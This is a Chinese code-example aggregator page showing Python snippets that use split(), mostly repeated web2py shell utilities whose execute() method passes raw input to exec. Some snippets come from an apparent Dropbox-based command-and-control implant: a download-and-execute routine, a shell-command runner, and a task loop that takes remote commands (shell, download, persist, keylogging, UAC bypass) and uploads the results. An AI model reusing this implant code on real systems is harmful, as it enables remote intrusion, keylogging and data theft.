Python cmd 模块,split() 实例源码

我们从Python开源项目中,提取了以下34个代码示例,用于说明如何使用cmd.split()

项目:DropboxC2C    作者:0x09AL    | 项目源码 | 文件源码
def exec_downloadexecute(url):
    try:
        r = requests.get(url)
        filename = url.split('/')[-1]

        if r.status_code == 200:
            f = open(filename,'wb')
            f.write(r.content)
            f.close()
            executeBackground(filename)
            data = "[+] Task Completed Successfully [+]"
        else:
            data = "[-] Error [-]"
    except Exception, err:
        data = err
    return base64.b64encode(str(data))
项目:touch-pay-client    作者:HackPucBemobi    | 项目源码 | 文件源码
def wrap_onspace(self, text, width):
        return reduce(lambda line, word, width=width: '%s%s%s' % (
            line,
            ' ' if len(line.rsplit('\n')[-1]+word.split('\n')[0])>=width else '\n',
            word), text.split(' '))
项目:touch-pay-client    作者:HackPucBemobi    | 项目源码 | 文件源码
def getAsRows(self, data):
        return [row.strip().split(',') for row in data.splitlines()]
项目:touch-pay-client    作者:HackPucBemobi    | 项目源码 | 文件源码
def __init__(self, prompt, banner=None):
        self.prompt = prompt
        self.banner = banner
        self.commands = {}
        self.commandSort = []
        self.db = None

        for i in dir(self):
            if "cmd_" == i[:4]:
                cmd = i.split("cmd_")[1].lower()
                self.commands[cmd] = getattr(self, i)
                try:
                    self.commandSort.append((int(self
                                                 .commands[cmd].__doc__.split(
                                                 "|")[0]), cmd))
                except:
                    pass

        self.commandSort.sort()
        self.commandSort = [i[1] for i in self.commandSort]

        self.var_DEBUG = False
        self.var_tableStyle = ''

        self.configvars = {}
        for i in dir(self):
            if "var_" == i[:4]:
                var = i.split("var_")[1]
                self.configvars[var] = i
项目:touch-pay-client    作者:HackPucBemobi    | 项目源码 | 文件源码
def execute(self, cmd):
        try:
            if not '-table ' in cmd:
                exec cmd
            else:
                file = None
                table = None

                fields = []
                items = cmd.split()
                invalidParams = []
                table = self.getTable(items[1])
                allowedParams = ['fields', 'file']
                for i in items:
                    if '=' in i and not i.split('=')[0] in allowedParams:
                        try:
                            invalidParams.append(i)
                        except Exception, err:
                            raise Exception('invalid parameter\n%s' % i)
                    else:
                        if 'file=' in i:
                            file = os.path.abspath(i.split('=')[0].strip())
                        if 'fields=' in i:
                            for field in  i.split('=')[1].split():
                                if field in self.db[table].fields:
                                    fields.append(field.strip())

                if len(invalidParams) > 0:
                    print('the following parameter(s) is not valid\n%s' %
                          ','.join(invalidParams))
                else:
                    try:
                        self.cmd_table(table, file, fields)
                    except Exception, err:
                        print('could not generate table for table %s\n%s' % (table, err))
        except Exception, err:
            print('sorry, can not do that!\n%s'  % err)
项目:touch-pay-client    作者:HackPucBemobi    | 项目源码 | 文件源码
def cmd_help(self, *args):
        '''-3|help|Show's help'''
        alldata = []
        lengths = []

        for i in self.commandSort:
            alldata.append(
                self.commands[i].__doc__.split("|")[1:])

        for i in alldata:
            if len(i) > len(lengths):
                for j in range(len(i)
                               - len(lengths)):
                    lengths.append(0)

            j = 0
            while j < len(i):
                if len(i[j]) > lengths[j]:
                    lengths[j] = len(i[j])
                j += 1

        print ("-" * (lengths[0] + lengths[1] + 4))
        for i in alldata:
            print (("%-" + str(lengths[0]) + "s  - %-" + str(
                lengths[1]) + "s") % (i[0], i[1]))
            if len(i) > 2:
                for j in i[2:]: print (("%" + str(lengths[
                                       0] + 9) + "s* %s") % (" ", j))
        print
项目:true_review_web2py    作者:lucadealfaro    | 项目源码 | 文件源码
def wrap_onspace(self, text, width):
        return reduce(lambda line, word, width=width: '%s%s%s' % (
            line,
            ' ' if len(line.rsplit('\n')[-1]+word.split('\n')[0])>=width else '\n',
            word), text.split(' '))
项目:true_review_web2py    作者:lucadealfaro    | 项目源码 | 文件源码
def getAsRows(self, data):
        return [row.strip().split(',') for row in data.splitlines()]
项目:true_review_web2py    作者:lucadealfaro    | 项目源码 | 文件源码
def __init__(self, prompt, banner=None):
        self.prompt = prompt
        self.banner = banner
        self.commands = {}
        self.commandSort = []
        self.db = None

        for i in dir(self):
            if "cmd_" == i[:4]:
                cmd = i.split("cmd_")[1].lower()
                self.commands[cmd] = getattr(self, i)
                try:
                    self.commandSort.append((int(self
                                                 .commands[cmd].__doc__.split(
                                                 "|")[0]), cmd))
                except:
                    pass

        self.commandSort.sort()
        self.commandSort = [i[1] for i in self.commandSort]

        self.var_DEBUG = False
        self.var_tableStyle = ''

        self.configvars = {}
        for i in dir(self):
            if "var_" == i[:4]:
                var = i.split("var_")[1]
                self.configvars[var] = i
项目:true_review_web2py    作者:lucadealfaro    | 项目源码 | 文件源码
def execute(self, cmd):
        try:
            if not '-table ' in cmd:
                exec cmd
            else:
                file = None
                table = None

                fields = []
                items = cmd.split()
                invalidParams = []
                table = self.getTable(items[1])
                allowedParams = ['fields', 'file']
                for i in items:
                    if '=' in i and not i.split('=')[0] in allowedParams:
                        try:
                            invalidParams.append(i)
                        except Exception, err:
                            raise Exception('invalid parameter\n%s' % i)
                    else:
                        if 'file=' in i:
                            file = os.path.abspath(i.split('=')[0].strip())
                        if 'fields=' in i:
                            for field in  i.split('=')[1].split():
                                if field in self.db[table].fields:
                                    fields.append(field.strip())

                if len(invalidParams) > 0:
                    print('the following parameter(s) is not valid\n%s' %
                          ','.join(invalidParams))
                else:
                    try:
                        self.cmd_table(table, file, fields)
                    except Exception, err:
                        print('could not generate table for table %s\n%s' % (table, err))
        except Exception, err:
            print('sorry, can not do that!\n%s'  % err)
项目:true_review_web2py    作者:lucadealfaro    | 项目源码 | 文件源码
def cmd_help(self, *args):
        '''-3|help|Show's help'''
        alldata = []
        lengths = []

        for i in self.commandSort:
            alldata.append(
                self.commands[i].__doc__.split("|")[1:])

        for i in alldata:
            if len(i) > len(lengths):
                for j in range(len(i)
                               - len(lengths)):
                    lengths.append(0)

            j = 0
            while j < len(i):
                if len(i[j]) > lengths[j]:
                    lengths[j] = len(i[j])
                j += 1

        print ("-" * (lengths[0] + lengths[1] + 4))
        for i in alldata:
            print (("%-" + str(lengths[0]) + "s  - %-" + str(
                lengths[1]) + "s") % (i[0], i[1]))
            if len(i) > 2:
                for j in i[2:]: print (("%" + str(lengths[
                                       0] + 9) + "s* %s") % (" ", j))
        print
项目:Problematica-public    作者:TechMaz    | 项目源码 | 文件源码
def wrap_onspace(self, text, width):
        return reduce(lambda line, word, width=width: '%s%s%s' % (
            line,
            ' ' if len(line.rsplit('\n')[-1]+word.split('\n')[0])>=width else '\n',
            word), text.split(' '))
项目:Problematica-public    作者:TechMaz    | 项目源码 | 文件源码
def getAsRows(self, data):
        return [row.strip().split(',') for row in data.splitlines()]
项目:Problematica-public    作者:TechMaz    | 项目源码 | 文件源码
def __init__(self, prompt, banner=None):
        self.prompt = prompt
        self.banner = banner
        self.commands = {}
        self.commandSort = []
        self.db = None

        for i in dir(self):
            if "cmd_" == i[:4]:
                cmd = i.split("cmd_")[1].lower()
                self.commands[cmd] = getattr(self, i)
                try:
                    self.commandSort.append((int(self
                                                 .commands[cmd].__doc__.split(
                                                 "|")[0]), cmd))
                except:
                    pass

        self.commandSort.sort()
        self.commandSort = [i[1] for i in self.commandSort]

        self.var_DEBUG = False
        self.var_tableStyle = ''

        self.configvars = {}
        for i in dir(self):
            if "var_" == i[:4]:
                var = i.split("var_")[1]
                self.configvars[var] = i
项目:Problematica-public    作者:TechMaz    | 项目源码 | 文件源码
def execute(self, cmd):
        try:
            if not '-table ' in cmd:
                exec cmd
            else:
                file = None
                table = None

                fields = []
                items = cmd.split()
                invalidParams = []
                table = self.getTable(items[1])
                allowedParams = ['fields', 'file']
                for i in items:
                    if '=' in i and not i.split('=')[0] in allowedParams:
                        try:
                            invalidParams.append(i)
                        except Exception, err:
                            raise Exception('invalid parameter\n%s' % i)
                    else:
                        if 'file=' in i:
                            file = os.path.abspath(i.split('=')[0].strip())
                        if 'fields=' in i:
                            for field in  i.split('=')[1].split():
                                if field in self.db[table].fields:
                                    fields.append(field.strip())

                if len(invalidParams) > 0:
                    print('the following parameter(s) is not valid\n%s' %
                          ','.join(invalidParams))
                else:
                    try:
                        self.cmd_table(table, file, fields)
                    except Exception, err:
                        print('could not generate table for table %s\n%s' % (table, err))
        except Exception, err:
            print('sorry, can not do that!\n%s'  % err)
项目:Problematica-public    作者:TechMaz    | 项目源码 | 文件源码
def cmd_help(self, *args):
        '''-3|help|Show's help'''
        alldata = []
        lengths = []

        for i in self.commandSort:
            alldata.append(
                self.commands[i].__doc__.split("|")[1:])

        for i in alldata:
            if len(i) > len(lengths):
                for j in range(len(i)
                               - len(lengths)):
                    lengths.append(0)

            j = 0
            while j < len(i):
                if len(i[j]) > lengths[j]:
                    lengths[j] = len(i[j])
                j += 1

        print ("-" * (lengths[0] + lengths[1] + 4))
        for i in alldata:
            print (("%-" + str(lengths[0]) + "s  - %-" + str(
                lengths[1]) + "s") % (i[0], i[1]))
            if len(i) > 2:
                for j in i[2:]: print (("%" + str(lengths[
                                       0] + 9) + "s* %s") % (" ", j))
        print
项目:slugiot-client    作者:slugiot    | 项目源码 | 文件源码
def wrap_onspace(self, text, width):
        return reduce(lambda line, word, width=width: '%s%s%s' % (
            line,
            ' ' if len(line.rsplit('\n')[-1]+word.split('\n')[0])>=width else '\n',
            word), text.split(' '))
项目:slugiot-client    作者:slugiot    | 项目源码 | 文件源码
def getAsRows(self, data):
        return [row.strip().split(',') for row in data.splitlines()]
项目:slugiot-client    作者:slugiot    | 项目源码 | 文件源码
def __init__(self, prompt, banner=None):
        self.prompt = prompt
        self.banner = banner
        self.commands = {}
        self.commandSort = []
        self.db = None

        for i in dir(self):
            if "cmd_" == i[:4]:
                cmd = i.split("cmd_")[1].lower()
                self.commands[cmd] = getattr(self, i)
                try:
                    self.commandSort.append((int(self
                                                 .commands[cmd].__doc__.split(
                                                 "|")[0]), cmd))
                except:
                    pass

        self.commandSort.sort()
        self.commandSort = [i[1] for i in self.commandSort]

        self.var_DEBUG = False
        self.var_tableStyle = ''

        self.configvars = {}
        for i in dir(self):
            if "var_" == i[:4]:
                var = i.split("var_")[1]
                self.configvars[var] = i
项目:slugiot-client    作者:slugiot    | 项目源码 | 文件源码
def execute(self, cmd):
        try:
            if not '-table ' in cmd:
                exec cmd
            else:
                file = None
                table = None

                fields = []
                items = cmd.split()
                invalidParams = []
                table = self.getTable(items[1])
                allowedParams = ['fields', 'file']
                for i in items:
                    if '=' in i and not i.split('=')[0] in allowedParams:
                        try:
                            invalidParams.append(i)
                        except Exception, err:
                            raise Exception('invalid parameter\n%s' % i)
                    else:
                        if 'file=' in i:
                            file = os.path.abspath(i.split('=')[0].strip())
                        if 'fields=' in i:
                            for field in  i.split('=')[1].split():
                                if field in self.db[table].fields:
                                    fields.append(field.strip())

                if len(invalidParams) > 0:
                    print('the following parameter(s) is not valid\n%s' %
                          ','.join(invalidParams))
                else:
                    try:
                        self.cmd_table(table, file, fields)
                    except Exception, err:
                        print('could not generate table for table %s\n%s' % (table, err))
        except Exception, err:
            print('sorry, can not do that!\n%s'  % err)
项目:slugiot-client    作者:slugiot    | 项目源码 | 文件源码
def cmd_help(self, *args):
        '''-3|help|Show's help'''
        alldata = []
        lengths = []

        for i in self.commandSort:
            alldata.append(
                self.commands[i].__doc__.split("|")[1:])

        for i in alldata:
            if len(i) > len(lengths):
                for j in range(len(i)
                               - len(lengths)):
                    lengths.append(0)

            j = 0
            while j < len(i):
                if len(i[j]) > lengths[j]:
                    lengths[j] = len(i[j])
                j += 1

        print ("-" * (lengths[0] + lengths[1] + 4))
        for i in alldata:
            print (("%-" + str(lengths[0]) + "s  - %-" + str(
                lengths[1]) + "s") % (i[0], i[1]))
            if len(i) > 2:
                for j in i[2:]: print (("%" + str(lengths[
                                       0] + 9) + "s* %s") % (" ", j))
        print
项目:StuffShare    作者:StuffShare    | 项目源码 | 文件源码
def wrap_onspace(self, text, width):      
        return reduce(lambda line, word, width=width: '%s%s%s' % (                        
            line, 
            ' ' if len(line.rsplit('\n')[-1]+word.split('\n')[0])>=width else '\n', 
            word), text.split(' '))
项目:StuffShare    作者:StuffShare    | 项目源码 | 文件源码
def getAsRows(self, data):
        return [row.strip().split(',') for row in data.splitlines()]
项目:StuffShare    作者:StuffShare    | 项目源码 | 文件源码
def __init__(self, prompt, banner=None):
        self.prompt = prompt
        self.banner = banner
        self.commands = {}
        self.commandSort = []
        self.db = None

        for i in dir(self):
            if "cmd_" == i[:4]:
                cmd = i.split("cmd_")[1].lower()
                self.commands[cmd] = getattr(self, i)
                try:
                    self.commandSort.append((int(self
                                                 .commands[cmd].__doc__.split(
                                                 "|")[0]), cmd))
                except:
                    pass

        self.commandSort.sort()
        self.commandSort = [i[1] for i in self.commandSort]

        self.var_DEBUG = False
        self.var_tableStyle = ''

        self.configvars = {}
        for i in dir(self):
            if "var_" == i[:4]:
                var = i.split("var_")[1]
                self.configvars[var] = i
项目:StuffShare    作者:StuffShare    | 项目源码 | 文件源码
def execute(self, cmd):
        try:
            if not '-table ' in cmd:
                exec cmd
            else:
                file = None
                table = None

                fields = []
                items = cmd.split()
                invalidParams = []
                table = self.getTable(items[1])
                allowedParams = ['fields', 'file']
                for i in items:
                    if '=' in i and not i.split('=')[0] in allowedParams:
                        try:
                            invalidParams.append(i)
                        except Exception, err:
                            raise Exception('invalid parameter\n%s' % i)
                    else:
                        if 'file=' in i:
                            file = os.path.abspath(i.split('=')[0].strip())
                        if 'fields=' in i:
                            for field in  i.split('=')[1].split():
                                if field in self.db[table].fields:
                                    fields.append(field.strip())

                if len(invalidParams) > 0:
                    print('the following parameter(s) is not valid\n%s' % 
                          ','.join(invalidParams))
                else:
                    try:
                        self.cmd_table(table, file, fields)
                    except Exception, err:
                        print('could not generate table for table %s\n%s' % (table, err))
        except Exception, err:
            print('sorry, can not do that!\n%s'  % err)
项目:StuffShare    作者:StuffShare    | 项目源码 | 文件源码
def cmd_help(self, *args):
        '''-3|help|Show's help'''
        alldata = []
        lengths = []

        for i in self.commandSort:
            alldata.append(
                self.commands[i].__doc__.split("|")[1:])

        for i in alldata:
            if len(i) > len(lengths):
                for j in range(len(i)
                               - len(lengths)):
                    lengths.append(0)

            j = 0
            while j < len(i):
                if len(i[j]) > lengths[j]:
                    lengths[j] = len(i[j])
                j += 1

        print ("-" * (lengths[0] + lengths[1] + 4))
        for i in alldata:
            print (("%-" + str(lengths[0]) + "s  - %-" + str(
                lengths[1]) + "s") % (i[0], i[1]))
            if len(i) > 2:
                for j in i[2:]: print (("%" + str(lengths[
                                       0] + 9) + "s* %s") % (" ", j))
        print
项目:DropboxC2C    作者:0x09AL    | 项目源码 | 文件源码
def executeBackground(command):
    subprocess.Popen([command.split()])
    return True
项目:DropboxC2C    作者:0x09AL    | 项目源码 | 文件源码
def exec_cmd(cmd):
    data = ExecuteShellCommand(cmd.split())

    return base64.b64encode(str(data))
项目:touch-pay-client    作者:HackPucBemobi    | 项目源码 | 文件源码
def wrapTable(
        self, rows, hasHeader=False, headerChar='-', delim=' | ', justify='left',
            separateRows=False, prefix='', postfix='', wrapfunc=lambda x: x):

        def rowWrapper(row):

            '''---
                    newRows is returned like
                            [['w'], ['x'], ['y'], ['z']]
                                                                    ---'''
            newRows = [wrapfunc(item).split('\n') for item in row]
            self.rows = newRows
            '''---
                        rowList gives like newRows but
                            formatted like [[w, x, y, z]]
                                                                ---'''
            rowList = [[substr or '' for substr in item]
                       for item in map(None, *newRows)]
            return rowList

        logicalRows = [rowWrapper(row) for row in rows]

        columns = map(None, *reduce(operator.add, logicalRows))
        self.columns = columns

        maxWidths = [max(
                     [len(str
                        (item)) for
                      item in column]
                     ) for column
                     in columns]

        rowSeparator = headerChar * (len(prefix) +len(postfix) + sum(maxWidths) +
                                     len(delim) * (len(maxWidths) - 1))

        justify = {'center': str.center,
                   'right': str.rjust,
                   'left': str.ljust
                   }[justify.lower()]

        output = cStringIO.StringIO()

        if separateRows:
            print >> output, rowSeparator

        for physicalRows in logicalRows:
            for row in physicalRows:
                print >> output,\
                    prefix + delim.join([
                                        justify(str(item), width) for (
                                        item, width) in zip(row, maxWidths)]
                                        ) + postfix

            if separateRows or hasHeader:
                print >> output, rowSeparator
                hasHeader = False
        return output.getvalue()
项目:true_review_web2py    作者:lucadealfaro    | 项目源码 | 文件源码
def wrapTable(
        self, rows, hasHeader=False, headerChar='-', delim=' | ', justify='left',
            separateRows=False, prefix='', postfix='', wrapfunc=lambda x: x):

        def rowWrapper(row):

            '''---
                    newRows is returned like
                            [['w'], ['x'], ['y'], ['z']]
                                                                    ---'''
            newRows = [wrapfunc(item).split('\n') for item in row]
            self.rows = newRows
            '''---
                        rowList gives like newRows but
                            formatted like [[w, x, y, z]]
                                                                ---'''
            rowList = [[substr or '' for substr in item]
                       for item in map(None, *newRows)]
            return rowList

        logicalRows = [rowWrapper(row) for row in rows]

        columns = map(None, *reduce(operator.add, logicalRows))
        self.columns = columns

        maxWidths = [max(
                     [len(str
                        (item)) for
                      item in column]
                     ) for column
                     in columns]

        rowSeparator = headerChar * (len(prefix) +len(postfix) + sum(maxWidths) +
                                     len(delim) * (len(maxWidths) - 1))

        justify = {'center': str.center,
                   'right': str.rjust,
                   'left': str.ljust
                   }[justify.lower()]

        output = cStringIO.StringIO()

        if separateRows:
            print >> output, rowSeparator

        for physicalRows in logicalRows:
            for row in physicalRows:
                print >> output,\
                    prefix + delim.join([
                                        justify(str(item), width) for (
                                        item, width) in zip(row, maxWidths)]
                                        ) + postfix

            if separateRows or hasHeader:
                print >> output, rowSeparator
                hasHeader = False
        return output.getvalue()
项目:Problematica-public    作者:TechMaz    | 项目源码 | 文件源码
def wrapTable(
        self, rows, hasHeader=False, headerChar='-', delim=' | ', justify='left',
            separateRows=False, prefix='', postfix='', wrapfunc=lambda x: x):

        def rowWrapper(row):

            '''---
                    newRows is returned like
                            [['w'], ['x'], ['y'], ['z']]
                                                                    ---'''
            newRows = [wrapfunc(item).split('\n') for item in row]
            self.rows = newRows
            '''---
                        rowList gives like newRows but
                            formatted like [[w, x, y, z]]
                                                                ---'''
            rowList = [[substr or '' for substr in item]
                       for item in map(None, *newRows)]
            return rowList

        logicalRows = [rowWrapper(row) for row in rows]

        columns = map(None, *reduce(operator.add, logicalRows))
        self.columns = columns

        maxWidths = [max(
                     [len(str
                        (item)) for
                      item in column]
                     ) for column
                     in columns]

        rowSeparator = headerChar * (len(prefix) +len(postfix) + sum(maxWidths) +
                                     len(delim) * (len(maxWidths) - 1))

        justify = {'center': str.center,
                   'right': str.rjust,
                   'left': str.ljust
                   }[justify.lower()]

        output = cStringIO.StringIO()

        if separateRows:
            print >> output, rowSeparator

        for physicalRows in logicalRows:
            for row in physicalRows:
                print >> output,\
                    prefix + delim.join([
                                        justify(str(item), width) for (
                                        item, width) in zip(row, maxWidths)]
                                        ) + postfix

            if separateRows or hasHeader:
                print >> output, rowSeparator
                hasHeader = False
        return output.getvalue()
项目:slugiot-client    作者:slugiot    | 项目源码 | 文件源码
def wrapTable(
        self, rows, hasHeader=False, headerChar='-', delim=' | ', justify='left',
            separateRows=False, prefix='', postfix='', wrapfunc=lambda x: x):

        def rowWrapper(row):

            '''---
                    newRows is returned like
                            [['w'], ['x'], ['y'], ['z']]
                                                                    ---'''
            newRows = [wrapfunc(item).split('\n') for item in row]
            self.rows = newRows
            '''---
                        rowList gives like newRows but
                            formatted like [[w, x, y, z]]
                                                                ---'''
            rowList = [[substr or '' for substr in item]
                       for item in map(None, *newRows)]
            return rowList

        logicalRows = [rowWrapper(row) for row in rows]

        columns = map(None, *reduce(operator.add, logicalRows))
        self.columns = columns

        maxWidths = [max(
                     [len(str
                        (item)) for
                      item in column]
                     ) for column
                     in columns]

        rowSeparator = headerChar * (len(prefix) +len(postfix) + sum(maxWidths) +
                                     len(delim) * (len(maxWidths) - 1))

        justify = {'center': str.center,
                   'right': str.rjust,
                   'left': str.ljust
                   }[justify.lower()]

        output = cStringIO.StringIO()

        if separateRows:
            print >> output, rowSeparator

        for physicalRows in logicalRows:
            for row in physicalRows:
                print >> output,\
                    prefix + delim.join([
                                        justify(str(item), width) for (
                                        item, width) in zip(row, maxWidths)]
                                        ) + postfix

            if separateRows or hasHeader:
                print >> output, rowSeparator
                hasHeader = False
        return output.getvalue()
项目:StuffShare    作者:StuffShare    | 项目源码 | 文件源码
def wrapTable(
        self, rows, hasHeader=False, headerChar='-', delim=' | ', justify='left',
            separateRows=False, prefix='', postfix='', wrapfunc=lambda x: x):

        def rowWrapper(row):

            '''---
                    newRows is returned like
                            [['w'], ['x'], ['y'], ['z']]
                                                                    ---'''
            newRows = [wrapfunc(item).split('\n') for item in row]
            self.rows = newRows
            '''---
                        rowList gives like newRows but
                            formatted like [[w, x, y, z]]
                                                                ---'''
            rowList = [[substr or '' for substr in item]
                       for item in map(None, *newRows)]
            return rowList

        logicalRows = [rowWrapper(row) for row in rows]

        columns = map(None, *reduce(operator.add, logicalRows))
        self.columns = columns

        maxWidths = [max(
                     [len(str
                        (item)) for
                      item in column]
                     ) for column
                     in columns]

        rowSeparator = headerChar * (len(prefix) +len(postfix) + sum(maxWidths) +
                                     len(delim) * (len(maxWidths) - 1))

        justify = {'center': str.center,                   
                   'right': str.rjust,
                   'left': str.ljust
                   }[justify.lower()]

        output = cStringIO.StringIO()

        if separateRows:
            print >> output, rowSeparator

        for physicalRows in logicalRows:
            for row in physicalRows:
                print >> output,\
                    prefix + delim.join([
                                        justify(str(item), width) for (
                                        item, width) in zip(row, maxWidths)]
                                        ) + postfix

            if separateRows or hasHeader:
                print >> output, rowSeparator
                hasHeader = False
        return output.getvalue()
项目:DropboxC2C    作者:0x09AL    | 项目源码 | 文件源码
def doTask(command,task):
    mode = (dropbox.files.WriteMode.overwrite)
    output = {}
    path = '/%s/output' % agentName
    try:
        _, res = dbx.files_download(path)
    except Exception:
        dbx.files_upload(json.dumps(output),path,mode)
        pass
        _, res = dbx.files_download(path)

    output = json.loads(res.content.replace('\n',''))

    # checks for commands with double parameters.

    if(command.startswith('{SHELL}')):

        cmd = command.split('{SHELL}')[1]
        output[task] = {"OUTPUT": exec_cmd(cmd)}


    if(command.startswith('{DOWNLOAD}')):

        url = command.split('{DOWNLOAD}')[1]
        output[task] = {"OUTPUT": exec_downloadexecute(url)}

    elif(command == "persist"):
        output[task] = {"OUTPUT": exec_persist()}


    elif(command == "keylog_start"):
        output[task] = {"OUTPUT": exec_keylog_start()}

    elif(command == "keylog_stop"):
        output[task] = {"OUTPUT": exec_keylog_stop()}

    elif(command == "bypassuac"):
        output[task] = {"OUTPUT": exec_bypassuac()}


    # Upload the output of commands 
    try:
        dbx.files_upload(json.dumps(output),path,mode)
        completedTasks.append(task)
    except Exception:
        time.sleep(30)
        pass